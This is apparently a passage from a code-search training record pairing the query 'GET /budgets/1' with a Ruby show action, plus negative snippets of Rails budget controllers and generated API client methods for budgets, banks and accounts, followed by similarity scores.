data = []\n data.push AdaptedMiscFee.represent(miscellaneous_fees)\n data.push AdaptedExpense.represent(object.expenses)\n data.flatten.as_json\n end", "def banks_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ConnectionsApi.banks_get ...'\n end\n # resource path\n local_var_path = '/banks'\n\n # query parameters\n query_params = {}\n query_params[:'expand'] = opts[:'expand'] if !opts[:'expand'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2008')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConnectionsApi#banks_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @buisinesses = Buisiness.all\n end", "def index\n @brave_bursts = BraveBurst.all\n end", "def get_balance (opts={})\n query_param_keys = []\n headerParams = {}\n\n \n \n # set default values and merge with input\n options = {\n \n }.merge(opts)\n\n #resource path\n path = \"/get-balance.json\".sub('{format}','json')\n \n # pull querystring keys from options\n queryopts = options.select do |key,value|\n query_param_keys.include? key\n end\n\n # header parameters\n headers = {}\n\n _header_accept = 'application/json'\n if _header_accept != ''\n headerParams['Accept'] = _header_accept\n end \n _header_content_type = ['application/x-www-form-urlencoded']\n headerParams['Content-Type'] = _header_content_type.length > 0 ? _header_content_type[0] : 'application/json'\n\n \n \n headers[:'Authorization'] = @api_key_secret\n\n # http body (model)\n post_body = nil\n \n # form parameters\n form_parameter_hash = {}\n \n \n \n Swagger::Request.new(:POST, path, {:params=>queryopts,:headers=>headers, :body=>post_body, :form_params => form_parameter_hash }).make\n \n \n end", "def new\n @budget = Budget.new\n @budget.year = Time.new.year\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget }\n end\n end", "def index\n @bucketlist_item = BucketlistItem.all\n # @bucketlist_item = @trip.bucketlist_item\n render json: @bucketlist_item\n end", "def index\n @ptbudgets = Ptbudget.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @ptbudgets }\n end\n end", "def index\n @bids = Bid.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bids }\n end\n end", "def index\n render json: Bill.all\n end", "def get_accounts_with_http_info(budget_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: AccountsApi.get_accounts ...'\n end\n # verify the required parameter 'budget_id' is set\n if @api_client.config.client_side_validation && budget_id.nil?\n fail ArgumentError, \"Missing the required parameter 'budget_id' when calling AccountsApi.get_accounts\"\n end\n # resource path\n local_var_path = '/budgets/{budget_id}/accounts'.sub('{' + 'budget_id' + '}', budget_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'last_knowledge_of_server'] = opts[:'last_knowledge_of_server'] if !opts[:'last_knowledge_of_server'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'AccountsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: AccountsApi#get_accounts\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_bank_link_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: FundingApi.get_bank_link_all_using_get ...'\n end\n # resource path\n local_var_path = '/bank_link'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageBankLink')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: FundingApi#get_bank_link_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @budget_item = BudgetItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @budget_item }\n end\n end", "def index\n @banks = Bank.sorted\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @banks }\n end\n end" ]
[ "0.7769996", "0.77680784", "0.739718", "0.7325283", "0.71915555", "0.7146855", "0.71041167", "0.70492715", "0.692903", "0.6864969", "0.6825186", "0.6761401", "0.6596338", "0.65764004", "0.6477175", "0.6459417", "0.6458338", "0.6431454", "0.6426355", "0.6417248", "0.6417248", "0.6417248", "0.6417248", "0.64165884", "0.64164", "0.64030504", "0.63625014", "0.6353747", "0.63443774", "0.6327502", "0.63148355", "0.6296559", "0.6262398", "0.62623143", "0.625223", "0.62503594", "0.62469137", "0.6219244", "0.6203762", "0.61347824", "0.61234367", "0.6117745", "0.6099147", "0.6097498", "0.6080665", "0.60688007", "0.60551584", "0.60387754", "0.6032888", "0.6030239", "0.60156906", "0.6004826", "0.59798795", "0.5936623", "0.5932602", "0.5925215", "0.59130263", "0.5912349", "0.59072495", "0.5903028", "0.58839345", "0.5862721", "0.58383864", "0.5838349", "0.58309364", "0.58171165", "0.5814148", "0.57470506", "0.5742447", "0.5720855", "0.5714037", "0.57042205", "0.5703945", "0.56937355", "0.5692533", "0.5692533", "0.5681312", "0.56651247", "0.5660329", "0.564416", "0.5642915", "0.5627821", "0.5613365", "0.5610579", "0.56082207", "0.56061435", "0.5595166", "0.5592145", "0.55901676", "0.558298", "0.5575735", "0.5566237", "0.5555432", "0.5554019", "0.5546615", "0.55447173", "0.5544005", "0.5544005", "0.5537166", "0.55276155" ]
0.76790833
2
GET /budgets/1 GET /budgets/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n get_budgets\n end", "def index\n @budgets = Budget.all\n end", "def show\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @budget }\n end\n end", "def index\n @items = Item.all\n @budget = Budget.find params[:budget_id]\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @items }\n end\n end", "def index\n @budgets = Budget.find_owned_by current_user\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end", "def budgets\n # https://developer.xero.com/documentation/api/budgets\n # if you are having issues in adding the accounting.budgets.read scope, get in touch => api@xero.com\n @budgets = xero_client.accounting_api.get_budgets(current_user.active_tenant_id).budgets\n @budget = xero_client.accounting_api.get_budget(current_user.active_tenant_id, @budgets.sample.budget_id).budgets\n end", "def show\n load_budget\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budget }\n end\n end", "def update\n budgets = update_budgets(params[:budgets])\n\n render json: budgets, status: :ok\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def new\n @budget = Budget.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget }\n end\n end", "def set_budget\n @budget = Budget.find(params[:id])\n\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def set_budget\n @budget = Budget.find(params[:id])\n end", "def create\n @budget = Budget.new(params[:budget])\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to budgets_path }\n format.json { render json: @budget, status: :created, location: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @budget = Budget.new\n\n respond_to do |format|\n format.html # new.html.erb\n # format.json { render json: @budget }\n end\n end", "def create\n @budget = Budget.new(params[:budget])\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render json: @budget, status: :created, budget: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @budget = Budget.find(params[:id])\n @other_budgets = current_user.budgets conditions: [\"id != ?\", @budget.id]\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budget }\n end\n end", "def get_budgets_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetsApi.get_budgets ...'\n end\n # resource path\n local_var_path = '/budgets'\n\n # query parameters\n query_params = {}\n query_params[:'include_accounts'] = opts[:'include_accounts'] if !opts[:'include_accounts'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BudgetSummaryResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetsApi#get_budgets\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def show\n @budgetcategory = Budgetcategory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budgetcategory }\n end\n end", "def new\n @budget = Budget.new\n @budgetProducts = []\n @customer = Customer.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget }\n end\n end", "def create\n @budget = Budget.new(params[:budget])\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render json: @budget, status: :created, location: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(budget_params)\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(budget_params)\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @budget = Budget.new(budget_params)\n respond_to do |format|\n if @budget.save\n \n if !params[:budget][:items].nil?\n params[:budget][:items].each do |f| \n Item.where([\"id = #{f}\"]).first.update(budget_id: @budget.id)\n end\n end\n \n format.html { redirect_to budgets_path, notice: \"Budget was successfully created.\" }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def get_budget_all_using_get_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetApi.get_budget_all_using_get ...'\n end\n # resource path\n local_var_path = '/nucleus/v1/budget'\n\n # query parameters\n query_params = {}\n query_params[:'ascending'] = opts[:'ascending'] if !opts[:'ascending'].nil?\n query_params[:'currency_conversion'] = opts[:'currency_conversion'] if !opts[:'currency_conversion'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'order_by'] = opts[:'order_by'] if !opts[:'order_by'].nil?\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageBudget')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetApi#get_budget_all_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_budget_by_id_with_http_info(budget_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetsApi.get_budget_by_id ...'\n end\n # verify the required parameter 'budget_id' is set\n if @api_client.config.client_side_validation && budget_id.nil?\n fail ArgumentError, \"Missing the required parameter 'budget_id' when calling BudgetsApi.get_budget_by_id\"\n end\n # resource path\n local_var_path = '/budgets/{budget_id}'.sub('{' + 'budget_id' + '}', budget_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'last_knowledge_of_server'] = opts[:'last_knowledge_of_server'] if !opts[:'last_knowledge_of_server'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BudgetDetailResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetsApi#get_budget_by_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n # TODO: implement filters\n @budgets = Budget.order(\"budgets.starts_at DESC, budgets.number ASC\")\n .page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n #format.select2 { render json: { items: budgets.map(&:to_select2_json), total: @budgets.count} }\n #format.json { render json: @budgets }\n end\n end", "def index\n @budgets = Budget.all.paginate(page: params[:page], :per_page => 5).order(\"created_at DESC\")\n end", "def show\n @budgeting_type = BudgetingType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budgeting_type }\n end\n end", "def show\n add_breadcrumb I18n.t('helpers.breadcrumbs.budgets.show')\n @budget_details = BudgetDetail.all\n\n @budget = Budget.find(params[:id])\n respond_to do |format|\n format.html\n format.pdf do\n pdf = BudgetPdf.new(@budget, view_context)\n send_data pdf.render,\n filename: \"budget_#{@budget.id}.pdf\",\n type: 'application/pdf',\n disposition: 'inline'\n end\n format.json {render json: @budget, include: :budget_details}\n end\n end", "def get_budget_using_get_with_http_info(budget_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetApi.get_budget_using_get ...'\n end\n # verify the required parameter 'budget_id' is set\n if @api_client.config.client_side_validation && budget_id.nil?\n fail ArgumentError, \"Missing the required parameter 'budget_id' when calling BudgetApi.get_budget_using_get\"\n end\n # resource path\n local_var_path = '/nucleus/v1/budget/{budget_id}'.sub('{' + 'budget_id' + '}', budget_id.to_s)\n\n # query parameters\n query_params = {}\n query_params[:'currency_conversion'] = opts[:'currency_conversion'] if !opts[:'currency_conversion'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['*/*'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['oauth2']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Budget')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetApi#get_budget_using_get\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def get_budgets(opts = {})\n data, _status_code, _headers = get_budgets_with_http_info(opts)\n data\n end", "def index\n @budget_approvers = BudgetApprover.all\n end", "def index\n\t\t@budget_id = params[:budget_id]\n\t\t@budget = Budget.find(@budget_id)\n\t\t@valorizations = @budget.valorizations\n\t\trender :index, :layout => false\n\tend", "def destroy\n @budget = Budget.find(params[:id])\n @budget.destroy\n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end", "def index\n @budgets = Budget.where(:session => $sess_name)\n\n end", "def destroy\n @budget = Budget.find(params[:id])\n @budget.destroy\n\n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end", "def create\n @budget = Budget.new(params[:budget])\n @budget.user = current_user\n\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'Budget was successfully created.' }\n format.json { render json: @budget, status: :created, location: @budget }\n else\n format.html { render action: \"new\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @budget = Budget.new\n @budget.year = Time.new.year\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget }\n end\n end", "def create\n @budget = Budget.new(budget_params)\n @client = Client.new\n @clients = Client.all\n respond_to do |format|\n if @budget.save\n format.html { redirect_to @budget, notice: 'El presupuesto se creó correctamente' }\n format.json { render :show, status: :created, location: @budget }\n else\n format.html { render :new }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @budgets = Budget.all\n @budgets = Budget.order(params[:by] + \" \" + params[:order]).page params[:page] if params[:sort] == \"true\"\n @budgets = Budget.order(:id).page params[:page]\n end", "def new\n @budgetcategory = Budgetcategory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budgetcategory }\n end\n end", "def get_budgets(db)\r\n budgets = db.execute(\"SELECT * FROM budgets\")\r\nend", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n respond_to do |format|\n format.html # index.html.erb (no data required)\n f = find_budgets\n format.ext_json { render :json => f.to_ext_json(:class => :budget, \n :count => f.length,\n :methods=>[:total_budget_costs,:total_budget_invoices,:total_budget_pricings],\n :include=>{:user=>{:only=>\"login\"}}) }\n \n end\n end", "def banks_get(opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: BanksApi#banks_get ...\"\n end\n \n # resource path\n path = \"/banks\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n\n auth_names = ['khipu']\n result = @api_client.call_api(:GET, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BanksResponse')\n if Configuration.debugging\n Configuration.logger.debug \"API called: BanksApi#banks_get. Result: #{result.inspect}\"\n end\n return result\n end", "def set_budgetitem\n @budgetitem = Budgetitem.find(params[:id])\n end", "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def budget_params\n params.require(:budget).permit(:name, :from, :expires, :user_id, items: [:id])\n end", "def index\n @budget_products = BudgetProduct.all\n end", "def update\n @budget = Budget.find(params[:id])\n\n respond_to do |format|\n if @budget.update_attributes(params[:budget])\n format.html { redirect_to @budget, notice: 'Budget was successfully updated.' }\n # format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n # format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_budget_for_order\n @budget_for_order = BudgetForOrder.find(params[:id])\n @budgets=Budget.where([\"budget_for_order_id = ?\", \"#{params[:id]}\"])\n end", "def show\n @budget_item = BudgetItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @budget_item }\n end\n end", "def get_budget_by_id(budget_id, opts = {})\n data, _status_code, _headers = get_budget_by_id_with_http_info(budget_id, opts)\n data\n end", "def budget_params\n params.require(:budget).permit(:income, :savings, :housing, :utilities, :food, :food, :transportation, :clothing, :personal, :recreation, :debt, :kids, :session, :budget_name)\n end", "def index\n @budgetitems = Budgetitem.all.order(:name)\n end", "def new\n @budgeting_type = BudgetingType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budgeting_type }\n end\n end", "def index\n @time = Time.new\n @prev_time = @time - 1.month\n @next_time = @time + 1.month\n @months = [@prev_time, @time, @next_time]\n @month_time_format = \"%B %Y\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @budgets }\n end\n end", "def update\n respond_to do |format|\n if @budget.update(budget_params)\n Item.where([\"budget_id = #{params[:id]}\"]).update_all(budget_id: nil)\n if !params[:budget][:items].nil?\n params[:budget][:items].each do |f| \n Item.where([\"id = #{f}\"]).first.update(budget_id: params[:id])\n end\n end\n format.html { redirect_to budgets_path, notice: \"Budget was successfully updated.\" }\n format.json { render :show, status: :ok, location: @budget }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @budget.errors, status: :unprocessable_entity }\n end\n end\n end", "def budget_params\n params.require(:budget).permit(:name, :allotment, :start, :end)\n end", "def new\n @breadcrumb = 'create'\n @budget_heading = BudgetHeading.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @budget_heading }\n end\n end", "def set_budget_request\n @budget_request = BudgetRequest.find(params[:id])\n end", "def index\n @therapy_budgets = TherapyBudget.all\n end", "def current_budget\n Budget.where(user_id: current_user.id).sort_by(&:created_at).last\n end", "def get_budget_using_get(budget_id, opts = {})\n data, _status_code, _headers = get_budget_using_get_with_http_info(budget_id, opts)\n data\n end", "def budget\n budget = Paystub.where(year: Time.now.year, month: Time.now.month).reorder('').pluck(Arel.sql('SUM(clinic_deduction)')).first\n\t budget ||= 0.0\n\t flash.now[:info] = \"This month's budget (sum of deductions of all active doctors): #{sprintf(\"$%.2f\",budget)} \"\n\t render inline: '', layout: true\n end", "def index\n p \"#{params}\"\n @budget_lines = BudgetLine.all\n respond_to do |format|\n format.html\n format.js\n end\n end", "def get_brandings\n request :get, \"/v3/brandings.json\"\n end", "def index\n @budget_dispositions = BudgetDisposition.all\n end", "def index\n @export_budgets = ExportBudget.all\n end", "def show\n @breadcrumb = 'read'\n @budget_heading = BudgetHeading.find(params[:id])\n @charge_groups = @budget_heading.charge_groups.paginate(:page => params[:page], :per_page => per_page).order(:group_code)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @budget_heading }\n end\n end", "def index\n @bounties = Bounty.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @bounties }\n end\n end", "def get_budget_settings_by_id_with_http_info(budget_id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: BudgetsApi.get_budget_settings_by_id ...'\n end\n # verify the required parameter 'budget_id' is set\n if @api_client.config.client_side_validation && budget_id.nil?\n fail ArgumentError, \"Missing the required parameter 'budget_id' when calling BudgetsApi.get_budget_settings_by_id\"\n end\n # resource path\n local_var_path = '/budgets/{budget_id}/settings'.sub('{' + 'budget_id' + '}', budget_id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['bearer']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'BudgetSettingsResponse')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: BudgetsApi#get_budget_settings_by_id\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def create\n @budgetitem = Budgetitem.new(budgetitem_params)\n\n respond_to do |format|\n if @budgetitem.save\n format.html { redirect_to @budgetitem, notice: 'Budgetitem was successfully created.' }\n format.json { render :show, status: :created, location: @budgetitem }\n else\n format.html { render :new }\n format.json { render json: @budgetitem.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @budget_item = BudgetItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @budget_item }\n end\n end", "def index\n @banks = Bank.all\n render json: @banks\n end", "def index\n @bills = @dwelling.bills\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end", "def getbalance(args={})\n {\n :method=> \"GetBalances\"\n }.to_json\n end", "def show\n @monthly_revenue_breakdown_item = MonthlyRevenueBreakdownItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @monthly_revenue_breakdown_item }\n end\n end", "def get_balance (opts={})\n query_param_keys = []\n headerParams = {}\n\n \n \n # set default values and merge with input\n options = {\n \n }.merge(opts)\n\n #resource path\n path = \"/get-balance.json\".sub('{format}','json')\n \n # pull querystring keys from options\n queryopts = options.select do |key,value|\n query_param_keys.include? key\n end\n\n # header parameters\n headers = {}\n\n _header_accept = 'application/json'\n if _header_accept != ''\n headerParams['Accept'] = _header_accept\n end \n _header_content_type = ['application/x-www-form-urlencoded']\n headerParams['Content-Type'] = _header_content_type.length > 0 ? _header_content_type[0] : 'application/json'\n\n \n \n headers[:'Authorization'] = @api_key_secret\n\n # http body (model)\n post_body = nil\n \n # form parameters\n form_parameter_hash = {}\n \n \n \n Swagger::Request.new(:POST, path, {:params=>queryopts,:headers=>headers, :body=>post_body, :form_params => form_parameter_hash }).make\n \n \n end", "def index\n\n @debtors = Debtor.all\n\n render json: @debtors\n end", "def show\n @budget_src = BudgetSrc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @budget_src }\n end\n end", "def index\n @bills = Bill.all_cached\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @bills }\n end\n end", "def get_budget_all_using_get(opts = {})\n data, _status_code, _headers = get_budget_all_using_get_with_http_info(opts)\n data\n end", "def bills(options = {})\n get('/bills', options)\n end", "def show\n @year= @budget.budget_date.year\n @month= @budget.budget_date.month\n @budget.year= @year\n @budget.month = @month\n\n @ref = @budget.id\n @totalincome = Income.where(budget_id: @ref).sum(:amount)\n @totalexpense = Expense.where(budget_id: @ref).sum(:amount)\n\n @incomes = Income.where(budget_id: @ref)\n @expenses = Expense.where(budget_id: @ref)\n\n @balance = (@totalincome - @totalexpense)\n @budget.balance= @balance\n\n\n\n # Budget number\n @budget_number = (@budget.id + 10000 )\n @budget.budget_number = @budget_number\n\n @budget.save\n\n\n end", "def index\n @biddings = Bidding.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @biddings }\n end\n end", "def destroy\n if params[:id] =~ /\\d+/\n @budget = Budget.find(params[:id])\n ActiveRecord::Base.connection.execute(\"delete from budget_products where budget_id = #{params[:id]}\")\n @budget.destroy\n end\n \n respond_to do |format|\n format.html { redirect_to budgets_url }\n format.json { head :no_content }\n end\n end", "def update\n budget = Budget.find params[:budget_id]\n budget.status = false\n budget.save\n redirect_to budgets_path\n end", "def show\n @ptbudget = Ptbudget.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ptbudget }\n end\n end", "def show\n @ptbudget = 